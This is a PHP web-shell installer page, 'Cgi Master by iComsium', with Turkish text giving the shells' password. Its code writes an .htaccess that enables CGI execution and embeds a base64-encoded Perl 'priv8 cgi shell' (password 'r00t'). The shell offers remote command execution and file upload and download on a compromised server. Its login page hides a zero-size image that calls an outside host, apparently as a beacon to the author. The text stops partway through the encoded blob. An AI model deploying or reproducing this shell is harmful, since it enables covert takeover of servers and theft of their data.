Cgi Master by iComsium

Cgi Master by icomsium

Tum CGI Shellerin Sifresi : root

      
'; if(isset($_POST['cgi1'])){ mkdir("izocin"); chdir("izocin"); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi,'w'); $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI AddType application/x-httpd-cgi .cin AddHandler cgi-script .cin AddHandler cgi-script .cin"; fwrite($dosya,$metin); fclose($dosya); $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+cHJpdjggY2dpIHNoZWxsPC9iPiAjIHNlcnZlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdlIG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcgojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJFBhc3N3b3JkID0gInIwMHQiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzCgkJCQkjIHRvIGxvZ2luLgoKJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmCgkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4KCiROVENtZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuCgokVW5peENtZFNlcCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguCgokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZAoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUKCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlIAp7Cglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOwoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsKCQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CgoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikKCXsKCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsKCX0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQoJewoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsKCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOwoJfQoKCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGEKCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQoJewoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsKCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87CgkJJEhlYWRlciA9ICRgOwoJCSRCb2R5ID0gJCc7CiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUKCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsKCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IAoJCSRpbnsnZid9ID0gJDE7IAoJCSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7IAoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsKCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOwoJCQkka2V5ID0gJDE7CgkJCSR2YWwgPSAkJzsKCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9ID0gJHZhbDsgCgkJfQoJfQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpCgl7CgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOwoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikKCQl7CgkJCSRpblskaV0gPX4gcy9cKy8gL2c7CgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOwoJCQkkaW57JGtleX0gLj0gJHZhbDsKCQl9Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXIKIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUhlYWRlcgp7CgkkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsKCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+Cjx0aXRsZT5wcml2OCBjZ2kgc2hlbGw8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAgIGk1X0Bob3RtYWlsLmNvbSI+CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAgaTVfQGhvdG1haWwuY29tIj4KPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iI0ZGRkZGRiIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIiB0ZXh0PSIjRkYwMDAwIj4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KPHRkIGJnY29sb3I9IiNGRkZGRkYiIGJvcmRlcmNvbG9yPSIjRkZGRkZGIiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMSUiPgo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPgo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgd2lkdGg9Ijk4JSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+PGI+IAo8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5wcml2OCBjZ2kgc2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+Cgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5VcGxvYWQgRmlsZTwvZm9udD48L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwKPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IHNpemU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJJE1lc3NhZ2UgPSBxJDwvZm9udD48aDE+cGFzcz1yMDB0PC9oMT48Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+PHByZT48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3LnByaXY4LmlibG9nZ2VyLm9yZy9zLnBocD8rY2dpdGVsbmV0IHNoZWxsIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIj48L3ByZT4KJDsKIycKCXByaW50IDw8RU5EOwo8Y29kZT4KClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPgo8L2ZvbnQ+Cjxmb250IHNpemU9IjMiPgpsb2dpbjogPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+cHJpdjggY2dpIHNoZWxsPC9iPjxicj4KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VGb290ZXIKewoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIjxjb2RlPkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPjwvY29kZT4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24